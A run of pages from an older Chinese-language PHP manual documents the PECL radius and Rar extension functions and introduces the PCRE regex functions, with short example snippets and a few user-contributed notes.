radius_auth_open -- Creates a Radius handle for authentication

说明

resource radius_auth_open ( void )

返回值

Returns a handle on success, FALSE on error. This function only fails if insufficient memory is available.

范例

例子 1. radius_auth_open() example

<?php
$radh = radius_auth_open()
    or die ("Could not create handle");
echo "Handle successfully created";
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_add_server | 上一级 | radius_close


radius_close

(PECL)

radius_close -- Frees all ressources

说明

bool radius_close ( resource radius_handle )

It is not needed to call this function because php frees all resources at the end of each request.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_auth_open | 上一级 | radius_config


radius_config

(PECL)

radius_config -- Causes the library to read the given configuration file

说明

bool radius_config ( resource radius_handle, string file )

Before issuing any Radius requests, the library must be made aware of the servers it can contact. The easiest way to configure the library is to call radius_config(). radius_config() causes the library to read a configuration file whose format is described in radius.conf.

参数

radius_handle

file

The pathname of the configuration file is passed as the file argument to radius_config(). The library can also be configured programmatically by calls to radius_add_server().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

radius_add_server()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_close | 上一级 | radius_create_request


radius_create_request

(PECL)

radius_create_request -- Create accounting or authentication request

说明

bool radius_create_request ( resource radius_handle, int type )

A Radius request consists of a code specifying the kind of request, and zero or more attributes which provide additional information. To begin constructing a new request, call radius_create_request().

注: Attention: You must call this function, before you can put any attribute!

参数

radius_handle

Type is RADIUS_ACCESS_REQUEST or RADIUS_ACCOUNTING_REQUEST.

type

Its description

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. radius_create_request() example

<?php
if (!radius_create_request($res, RADIUS_ACCESS_REQUEST)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

参见

radius_send_request()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_config | 上一级 | radius_cvt_addr


radius_cvt_addr

(PECL)

radius_cvt_addr -- Converts raw data to IP-Address

说明

string radius_cvt_addr ( string data )

范例

例子 1. radius_cvt_addr() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FRAMED_IP_ADDRESS:
        $ip = radius_cvt_addr($data);
        echo "IP: $ip<br>\n";
        break;

    case RADIUS_FRAMED_IP_NETMASK:
        $mask = radius_cvt_addr($data);
        echo "MASK: $mask<br>\n";
        break;
    }
}
?>

参见

radius_cvt_int()
radius_cvt_string()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_create_request | 上一级 | radius_cvt_int


radius_cvt_int

(PECL)

radius_cvt_int -- Converts raw data to integer

说明

int radius_cvt_int ( string data )

范例

例子 1. radius_cvt_int() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FRAMED_MTU:
        $mtu = radius_cvt_int($data);
        echo "MTU: $mtu<br>\n";
        break;
    }
}
?>

参见

radius_cvt_addr()
radius_cvt_string()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_cvt_addr | 上一级 | radius_cvt_string


radius_cvt_string

(PECL)

radius_cvt_string -- Converts raw data to string

说明

string radius_cvt_string ( string data )

范例

例子 1. radius_cvt_string() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];

    switch ($attr) {

    case RADIUS_FILTER_ID:
        $id = radius_cvt_string($data);
        echo "Filter ID: $id<br>\n";
        break;
    }
}
?>

参见

radius_cvt_addr()
radius_cvt_int()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_cvt_int | 上一级 | radius_demangle_mppe_key


radius_demangle_mppe_key

(PECL)

radius_demangle_mppe_key -- Derives mppe-keys from mangled data

说明

string radius_demangle_mppe_key ( resource radius_handle, string mangled )

When using MPPE with MS-CHAPv2, the send- and recv-keys are mangled (see RFC 2548), however this function is useless, because I don't think that there is or will be a PPTP-MPPE implementation in PHP.

返回值

Returns the demangled string, or FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_cvt_string | 上一级 | radius_demangle


radius_demangle

(PECL)

radius_demangle -- Demangles data

说明

string radius_demangle ( resource radius_handle, string mangled )

Some data (Passwords, MS-CHAPv1 MPPE-Keys) is mangled for security reasons, and must be demangled before you can use them.

返回值

Returns the demangled string, or FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_demangle_mppe_key | 上一级 | radius_get_attr


radius_get_attr

(PECL)

radius_get_attr -- Extracts an attribute

说明

mixed radius_get_attr ( resource radius_handle )

Like Radius requests, each response may contain zero or more attributes. After a response has been received successfully by radius_send_request(), its attributes can be extracted one by one using radius_get_attr(). Each time radius_get_attr() is called, it gets the next attribute from the current response.

返回值

Returns an associative array containing the attribute-type and the data, or error number <= 0.

范例

例子 1. radius_get_attr() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];
    printf("Got Attr:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
}
?>

参见

radius_put_attr()
radius_get_vendor_attr()
radius_put_vendor_attr()
radius_send_request()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_demangle | 上一级 | radius_get_vendor_attr


radius_get_vendor_attr

(PECL)

radius_get_vendor_attr -- Extracts a vendor specific attribute

说明

array radius_get_vendor_attr ( string data )

If radius_get_attr() returns RADIUS_VENDOR_SPECIFIC, radius_get_vendor_attr() may be called to determine the vendor.

返回值

Returns an associative array containing the attribute-type, vendor and the data, or FALSE on error.

范例

例子 1. radius_get_vendor_attr() example

<?php
while ($resa = radius_get_attr($res)) {

    if (!is_array($resa)) {
        printf ("Error getting attribute: %s\n",  radius_strerror($res));
        exit;
    }

    $attr = $resa['attr'];
    $data = $resa['data'];
    printf("Got Attr:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
    if ($attr == RADIUS_VENDOR_SPECIFIC) {

        $resv = radius_get_vendor_attr($data);
        if (is_array($resv)) {
            $vendor = $resv['vendor'];
            $attrv = $resv['attr'];
            $datav = $resv['data'];
            printf("Got Vendor Attr:%d %d Bytes %s\n", $attrv, strlen($datav), bin2hex($datav));
        }

    }
}
?>

参见

radius_get_attr()
radius_put_vendor_attr()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_get_attr | 上一级 | radius_put_addr


radius_put_addr

(PECL)

radius_put_addr -- Attaches an IP-Address attribute

说明

bool radius_put_addr ( resource radius_handle, int type, string addr )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_get_vendor_attr | 上一级 | radius_put_attr


radius_put_attr

(PECL)

radius_put_attr -- Attaches a binary attribute

说明

bool radius_put_attr ( resource radius_handle, int type, string value )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. radius_put_attr() example

<?php
mt_srand(time());
$chall = mt_rand();
$chapval = md5(pack('Ca*',1 , 'sepp' . $chall));
$pass = pack('CH*', 1, $chapval);
if (!radius_put_attr($res, RADIUS_CHAP_PASSWORD, $pass)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

参见

radius_get_attr()
radius_get_vendor_attr()
radius_put_vendor_attr()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_put_addr | 上一级 | radius_put_int


radius_put_int

(PECL)

radius_put_int -- Attaches an integer attribute

说明

bool radius_put_int ( resource radius_handle, int type, int value )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. radius_put_int() example

<?php
if (!radius_put_int($res, RAD_FRAMED_PROTOCOL, RAD_PPP)) {
   echo 'RadiusError:' . radius_strerror($res). "\n<br />";
   exit;
}
?>

参见

radius_put_string()
radius_put_vendor_int()
radius_put_vendor_string()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_put_attr | 上一级 | radius_put_string


radius_put_string

(PECL)

radius_put_string -- Attaches a string attribute

说明

bool radius_put_string ( resource radius_handle, int type, string value )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. radius_put_string() example

<?php
if (!radius_put_string($res, RADIUS_USER_NAME, 'billy')) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

参见

radius_put_int()
radius_put_vendor_int()
radius_put_vendor_string()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_put_int | 上一级 | radius_put_vendor_addr


radius_put_vendor_addr

(PECL)

radius_put_vendor_addr -- Attaches a vendor specific IP-Address attribute

说明

bool radius_put_vendor_addr ( resource radius_handle, int vendor, int type, string addr )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_put_string | 上一级 | radius_put_vendor_attr


radius_put_vendor_attr

(PECL)

radius_put_vendor_attr -- Attaches a vendor specific binary attribute

说明

bool radius_put_vendor_attr ( resource radius_handle, int vendor, int type, string value )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. radius_put_vendor_attr() example

<?php
if (!radius_put_vendor_attr($res, RADIUS_VENDOR_MICROSOFT, RAD_MICROSOFT_MS_CHAP_CHALLENGE, $challenge)) {
    echo 'RadiusError:' . radius_strerror($res). "\n<br />";
    exit;
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_put_vendor_addr | 上一级 | radius_put_vendor_int


radius_put_vendor_int

(PECL)

radius_put_vendor_int -- Attaches a vendor specific integer attribute

说明

bool radius_put_vendor_int ( resource radius_handle, int vendor, int type, int value )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_put_vendor_attr | 上一级 | radius_put_vendor_string


radius_put_vendor_string

(PECL)

radius_put_vendor_string -- Attaches a vendor specific string attribute

说明

bool radius_put_vendor_string ( resource radius_handle, int vendor, int type, string value )

警告

本函数暂无文档，仅有参数列表。

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_put_vendor_int | 上一级 | radius_request_authenticator


radius_request_authenticator

(PECL)

radius_request_authenticator -- Returns the request authenticator

说明

string radius_request_authenticator ( resource radius_handle )

The request authenticator is needed for demangling mangled data like passwords and encryption-keys.

返回值

Returns the request authenticator as string, or FALSE on error.

参见

radius_demangle()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_put_vendor_string | 上一级 | radius_send_request


radius_send_request

(PECL)

radius_send_request -- Sends the request and waites for a reply

说明

int radius_send_request ( resource radius_handle )

After the Radius request has been constructed, it is sent by radius_send_request().

The radius_send_request() function sends the request and waits for a valid reply, retrying the defined servers in round-robin fashion as necessary.

返回值

If a valid response is received, radius_send_request() returns the Radius code which specifies the type of the response. This will typically be RADIUS_ACCESS_ACCEPT, RADIUS_ACCESS_REJECT, or RADIUS_ACCESS_CHALLENGE. If no valid response is received, radius_send_request() returns FALSE.

参见

radius_create_request()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_request_authenticator | 上一级 | radius_server_secret


radius_server_secret

(PECL)

radius_server_secret -- Returns the shared secret

说明

string radius_server_secret ( resource radius_handle )

The shared secret is needed as salt for demangling mangled data like passwords and encryption-keys.

返回值

Returns the server's shared secret as string, or FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_send_request | 上一级 | radius_strerror


radius_strerror

(PECL)

radius_strerror -- Returns an error message

说明

string radius_strerror ( resource radius_handle )

If Radius-functions fail then they record an error message. This error message can be retrieved with this function.

返回值

Returns error messages as string from failed radius functions.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
radius_server_secret | 上一级 | Rar Functions


Rar Functions

PHP 手册
后退 前进

CXXI. Rar Functions

简介

Rar is a powerful and effective archiver created by Eugene Roshal. This extension gives you possibility to read Rar archives but doesn't support writing Rar archives, because this is not supported by UnRar library and is directly prohibited by it's license.

More information about Rar and UnRar can be found at http://www.rarlabs.com/.

需求

要编译本扩展模块不需要外部库文件。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

安装

Rar is currently available through PECL http://pecl.php.net/package/rar.

Also you can use the pear installer to install the Rar extension, using the following command: pear -v install rar.

You can always download the tar.gz package and install Rar by hand:

例子 1. Rar installation

gunzip rar-xxx.tgz
tar -xvf rar-xxx.tar
cd rar-xxx
phpize
./configure && make && make install

Windows users can download the extension dll php_rar.dll here: http://snaps.php.net/win32/PECL_STABLE/.

资源类型

There is one resource used in Rar extension: a file descriptor returned by rar_open().

预定义常量

RAR_HOST_MSDOS (integer)

RAR_HOST_OS2 (integer)

RAR_HOST_WIN32 (integer)

RAR_HOST_UNIX (integer)

RAR_HOST_BEOS (integer)

范例

例子 2. Rar extension overview example

<?php

$rar_file = rar_open('example.rar') or die("Can't open Rar archive");

$entries = rar_list($rar_file);

foreach ($entries as $entry) {
    echo 'Filename: ' . $entry->getName() . "\n";
    echo 'Packed size: ' . $entry->getPackedSize() . "\n";
    echo 'Unpacked size: ' . $entry->getUnpackedSize() . "\n";

    $entry->extract('/dir/extract/to/');
}

rar_close($rar_file);

?>

This example opens a Rar file archive and extracts each entry to the specified directory.

目录
rar_close -- Close Rar archive and free all resources
rar_entry_get -- Get entry object from the Rar archive
Rar::extract -- Extract entry from the archive
Rar::getAttr -- Get attributes of the entry
Rar::getCrc -- Get CRC of the entry
Rar::getFileTime -- Get entry last modification time
Rar::getHostOs -- Get entry host OS
Rar::getMethod -- Get pack method of the entry
Rar::getName -- Get name of the entry
Rar::getPackedSize -- Get packed size of the entry
Rar::getUnpackedSize -- Get unpacked size of the entry
Rar::getVersion -- Get version of the archiver used to add the entry
rar_list -- Get entries list from the Rar archive
rar_open -- Open Rar archive

add a note add a note User Contributed Notes
steve_php[at]nanovox[dart]com
11-Oct-2005 09:24
As of right now, rar is in a beta state, so you'll have to compile using: pear -v install -f rar
add a note add a note

后退 | 起点 | 前进
radius_strerror | 上一级 | rar_close


rar_close

(no version information, might be only in CVS)

rar_close -- Close Rar archive and free all resources

Description

bool rar_close ( resource rar_file )

Close Rar archive and free all allocated resources.

rar_close() returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar Functions | 上一级 | rar_entry_get


rar_entry_get

(no version information, might be only in CVS)

rar_entry_get -- Get entry object from the Rar archive

Description

RarEntry rar_entry_get ( resource rar_file, string entry_name )

Get entry object from the Rar archive.

例子 1. Rar::() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

print_r($entry);

?>

rar_get_entry() returns entry object or FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
rar_close | 上一级 | Rar::extract


Rar::extract

(no version information, might be only in CVS)

Rar::extract -- Extract entry from the archive

Description

bool Rar::extract ( string dir [, string filepath] )

Rar::extract() extracts entry's data to the dir. It will create new file in the specified dir with the name identical to the entry's name. If parameter filepath is specified instead dir, Rar::extract() will extract entry's data to the specified file.

例子 1. Rar::extract() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

$entry->extract('/dir/to'); // create /dir/to/Dir/file.txt
$entry->extract(false, '/dir/to/new_name.txt'); // create /dir/to/new_name.txt

?>

如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
Erik Jenssen aka erix
08-May-2006 05:30
How to extract all files in arcive:

<?

$filename = "foobar.tar";
$filepath = "/home/foo/bar";

$rar_file = rar_open($filepath.$filename);
$list = rar_list($rar_file);
foreach($list as $file) {
   $entry = rar_entry_get($rar_file, $file);
   $entry->extract($dir);
   }
rar_close($rar_file);

?>
add a note add a note

后退 | 起点 | 前进
rar_entry_get | 上一级 | Rar::getAttr


Rar::getAttr

(no version information, might be only in CVS)

Rar::getAttr -- Get attributes of the entry

Description

int Rar::getAttr ( void )

Rar::getAttr() returns attributes of the archive entry.

例子 1. Rar::getAttr() example

<?php

$rar_file = rar_open('example.rar') or die("Can't open Rar archive");

$entry = rar_entry_get($rar_file, 'dir/in/the/archive') or die("Can't find such entry");

$host_os = $entry->getHostOs();
$attr = $entry->getAttr();

switch($host_os) {
    case RAR_HOST_MSDOS:
    case RAR_HOST_OS2:
    case RAR_HOST_WIN32:
    case RAR_HOST_MACOS:
        printf("%c%c%c%c%c%c\n",
                ($attr & 0x08) ? 'V' : '.',
                ($attr & 0x10) ? 'D' : '.',
                ($attr & 0x01) ? 'R' : '.',
                ($attr & 0x02) ? 'H' : '.',
                ($attr & 0x04) ? 'S' : '.',
                ($attr & 0x20) ? 'A' : '.');
        break;
    case RAR_HOST_UNIX:
    case RAR_HOST_BEOS:
        switch ($attr & 0xF000)
        {
            case 0x4000:
                printf("d");
                break;
            case 0xA000:
                printf("l");
                break;
            default:
                printf("-");
                break;
        }
        printf("%c%c%c%c%c%c%c%c%c\n",
                ($attr & 0x0100) ? 'r' : '-',
                ($attr & 0x0080) ? 'w' : '-',
                ($attr & 0x0040) ? (($attr & 0x0800) ? 's':'x'):(($attr & 0x0800) ? 'S':'-'),
                ($attr & 0x0020) ? 'r' : '-',
                ($attr & 0x0010) ? 'w' : '-',
                ($attr & 0x0008) ? (($attr & 0x0400) ? 's':'x'):(($attr & 0x0400) ? 'S':'-'),
                ($attr & 0x0004) ? 'r' : '-',
                ($attr & 0x0002) ? 'w' : '-',
                ($attr & 0x0001) ? 'x' : '-');
        break;
}

rar_close($rar_file);

?>

Rar::getAttr() returns FALSE on error.

See also Rar::getHostOs().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::extract | 上一级 | Rar::getCrc


Rar::getCrc

(no version information, might be only in CVS)

Rar::getCrc -- Get CRC of the entry

Description

int Rar::getCrc ( void )

Rar::getCrc() returns CRC of the archive entry.

例子 1. Rar::getCrc() example

<?php

?>

Rar::getCrc() returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::getAttr | 上一级 | Rar::getFileTime


Rar::getFileTime

(no version information, might be only in CVS)

Rar::getFileTime -- Get entry last modification time

Description

string Rar::getFileTime ( void )

Rar::getFileTime() returns entry last modification time as string in format YYYY-MM-DD HH:II:SS.

例子 1. Rar::() example

<?php

?>

Rar::getFileTime() returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::getCrc | 上一级 | Rar::getHostOs


Rar::getHostOs

(no version information, might be only in CVS)

Rar::getHostOs -- Get entry host OS

Description

int Rar::getHostOs ( void )

Rar::getHostOs() return code of the host OS of the archive entry.

例子 1. Rar::getHostOs() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

switch ($entry->getHostOs()) {
    case RAR_HOST_MSDOS:
        echo "MS-DOS\n";
        break;
    case RAR_HOST_OS2:
        echo "OS2\n";
        break;
    case RAR_HOST_WIN32:
        echo "Win32\n";
        break;
    case RAR_HOST_MACOS:
        echo "MacOS\n";
        break;
    case RAR_HOST_UNIX:
        echo "Unix/Linux\n";
        break;
    case RAR_HOST_BEOS:
        echo "BeOS\n";
        break;
}

?>

Rar::getHostOs() returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::getFileTime | 上一级 | Rar::getMethod


Rar::getMethod

(no version information, might be only in CVS)

Rar::getMethod -- Get pack method of the entry

Description

int Rar::getMethod ( void )

Rar::getMethod() returns number of the method used when adding current archive entry.

例子 1. Rar::getMethod() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Method number: " . $entry->getMethod();

?>

Rar::getMethod() returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::getHostOs | 上一级 | Rar::getName


Rar::getName

(no version information, might be only in CVS)

Rar::getName -- Get name of the entry

Description

string Rar::getName ( void )

Rar::getName() returns full name of the archive entry.

例子 1. Rar::getName() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Entry name: " . $entry->getName();

?>

Rar::getName() returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::getMethod | 上一级 | Rar::getPackedSize


Rar::getPackedSize

(no version information, might be only in CVS)

Rar::getPackedSize -- Get packed size of the entry

Description

int Rar::getPackedSize ( void )

Get packed size of the archive entry.

例子 1. Rar::() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Packed size of " . $entry->getName() . " = " . $entry->getPackedSize() . " bytes";

?>

Rar::getPackedSize() returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::getName | 上一级 | Rar::getUnpackedSize


Rar::getUnpackedSize

(no version information, might be only in CVS)

Rar::getUnpackedSize -- Get unpacked size of the entry

Description

int Rar::getUnpackedSize ( void )

Get unpacked size of the archive entry.

例子 1. Rar::getUnpackedSize() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Unpacked size of " . $entry->getName() . " = " . $entry->getPackedSize() . " bytes";

?>

Rar::getUnpackedSize() returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::getPackedSize | 上一级 | Rar::getVersion


Rar::getVersion

(no version information, might be only in CVS)

Rar::getVersion -- Get version of the archiver used to add the entry

Description

int Rar::getVersion ( void )

Get version of the archiver used to add the archive entry.

例子 1. Rar::getVersion() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entry = rar_entry_get($rar_file, 'Dir/file.txt') or die("Failed to find such entry");

echo "Rar (WinRAR) version used: " . $entry->getVersion();

?>

Rar::getVersion() returns FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::getUnpackedSize | 上一级 | rar_list


rar_list

(no version information, might be only in CVS)

rar_list -- Get entries list from the Rar archive

Description

array rar_list ( resource rar_file )

Get entries list from the Rar archive.

例子 1. Rar::() example

<?php

$rar_file = rar_open('example.rar') or die("Failed to open Rar archive");

$entries_list = rar_list($rar_file);

print_r($entries_list);

?>

rar_list() returns array of entries or FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Rar::getVersion | 上一级 | rar_open


rar_open

(no version information, might be only in CVS)

rar_open -- Open Rar archive

Description

resource rar_open ( string filename [, string password] )

Open specified Rar archive and return Rar file resource.

rar_open() returns Rar file resource or FALSE on error.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
rar_list | 上一级 | Perl 兼容正则表达式函数


Perl 兼容正则表达式函数

PHP 手册
后退 前进

CXXII. Perl 兼容正则表达式函数

简介

本类函数中所使用的模式极其类似 Perl。表达式应被包含在定界符中，如斜线（/）。任何不是字母、数字或反斜线（\）的字符都可以作为定界符。如果作为定界符的字符必须被用在表达式本身中，则需要用反斜线转义。自 PHP 4.0.4 起，也可以使用 Perl 风格的 ()，{}，[] 和 <> 匹配定界符。详细解释见模式语法。

结束定界符的后面可以跟上不同的修正符以影响匹配方式。见模式修正符。

PHP 也支持 POSIX 扩展语法的正则表达式，见 POSIX 扩展正则表达式函数。

警告

要留意到 PCRE 的一些局限。更多信息见 http://www.pcre.org/pcre.txt。

需求

正则表达式的支持是由 PCRE（Perl Compatible Regular Expression）库提供的，这是个开放源代码的软件，作者为 Philip Hazel，版权属于英国剑桥大学。可于以下地址获得：ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre/。

安装

自 PHP 4.2.0 起这些函数默认被激活。可以通过 --without-pcre-regex 禁用 PCRE 函数。如果不使用绑定的库的话，用 --with-pcre-regex=DIR 来指定 PCRE 库文件和头文件的路径。对早期版本必须在编译时用 --with-pcre-regex[=DIR] 才能使用这些函数。

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

运行时配置

本扩展模块在 php.ini 中未定义任何配置选项。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

表格 1. PREG 常量

常量 | 说明
PREG_PATTERN_ORDER | 对结果排序使得 $matches[0] 为整个模式的匹配结果的数组，$matches[1] 为第一个括号内的子模式所匹配的字符串的数组，等等。本标记仅用于 preg_match_all()。
PREG_SET_ORDER | 对结果排序使得 $matches[0] 为第一组匹配结果的数组，$matches[1] 为第二组匹配结果的数组，等等。本标记仅用于 preg_match_all()。
PREG_OFFSET_CAPTURE | 见 PREG_SPLIT_OFFSET_CAPTURE 的说明。本标记自 PHP 4.3.0 起可用。
PREG_SPLIT_NO_EMPTY | 本标记使 preg_split() 仅返回非空的结果。
PREG_SPLIT_DELIM_CAPTURE | 本标记使 preg_split() 也捕获定界符模式中的括号表达。本标记自 PHP 4.0.5 起可用。
PREG_SPLIT_OFFSET_CAPTURE | 如果设定本标记，对每个出现的匹配结果也同时返回其附属的字符串偏移量。注意这改变了返回的数组的值，使其中的每个单元也是一个数组，其中第一项为匹配字符串，第二项为其偏移量。本标记自 PHP 4.3.0 起可用且仅用于 preg_split()。

范例

例子 1. 合法的模式举例

  • /<\/\w+>/

  • |(\d{3})-\d+|Sm

  • /^(?i)php[34]/

  • {^\s+(\s+)?$}

例子 2. 非法的模式举例

  • /href='(.*)' - 缺少结束定界符

  • /\w+\s*\w+/J - 未知的修正符 'J'

  • 1-\d3-\d3-\d4| - 缺少起始定界符

目录
模式修正符 -- 解说正则表达式模式中使用的修正符
模式语法 -- 解说 Perl 兼容正则表达式的语法
preg_grep -- 返回与模式匹配的数组单元
preg_match_all -- 进行全局正则表达式匹配
preg_match -- 进行正则表达式匹配
preg_quote -- 转义正则表达式字符
preg_replace_callback -- 用回调函数执行正则表达式的搜索和替换
preg_replace -- 执行正则表达式的搜索和替换
preg_split -- 用正则表达式分割字符串

add a note add a note User Contributed Notes
lgandras at hotmail dot com
20-Feb-2006 06:19
I read this part, but i couldn't undertand a single word beacause before i must know Basic regular expression. Somebody put a link for PERL that is almost like PHP but here is one totally dedicated to PHP:

http://weblogtoolscollection.com/regex/regex.php
Gokul
06-Feb-2006 04:59
I came accross this nice tutorial for regural expression in perl
http://perldoc.perl.org/perlretut.html
alexbodn at 012 dot n@t dot il
09-Jan-2006 10:45
here is an annotation to my note from 28-Apr-2005 03:52, due to the welcome contribution of dipesh khakhkhar:

Here is a small function to determine whether a string is a preg expression.
Please note, that a dot '.' character in a regexp may match any character, including a dot, thus a string containing a dot may well be interpreted as an ordinary string, or a regexp.

function preg_ispreg($str)
{
   $prefix = "";
   $sufix = "";
   if ($str[0] != '^')
       $prefix = '^';
   if ($str[strlen($str) - 1] != '$')
       $sufix = '$';
   $estr = preg_replace("'^/'", "\\/", preg_replace("'([^/])/'", "\\1\\/", $str));
   if (@preg_match("/".$prefix.$estr.$sufix."/", $str, $matches))
       return strcmp($str, $matches[0]) != 0;
   return true;
}
richardh at phpguru dot org
23-Sep-2005 02:50
There's a printable PDF PCRE cheat sheet available here:

http://www.phpguru.org/article.php?ne_id=67

Has the common metacharacters, quantifiers, pattern modifiers, character classes and assertions with short explanations.
hfuecks at nospam dot org
04-Jul-2005 05:21
Good PCRE tutorial at http://www.tote-taste.de/X-Project/regex/ - well explained but still in depth
alexbodn at 012 dot n@t dot il
28-Apr-2005 09:52
Here is a small function to determine whether a string is a [valid] preg expression.

function preg_ispreg($str)
{
   $prefix = "";
   $sufix = "";
   if ($str[0] != '^')
       $prefix = '^';
   if ($str[strlen($str) - 1] != '$')
       $sufix = '$';
   $estr = preg_replace("'^/'", "\\/", preg_replace("'([^/])/'", "\\1\\/", $str));
   if (@preg_match("/".$prefix.$estr.$sufix."/", $str, $matches))
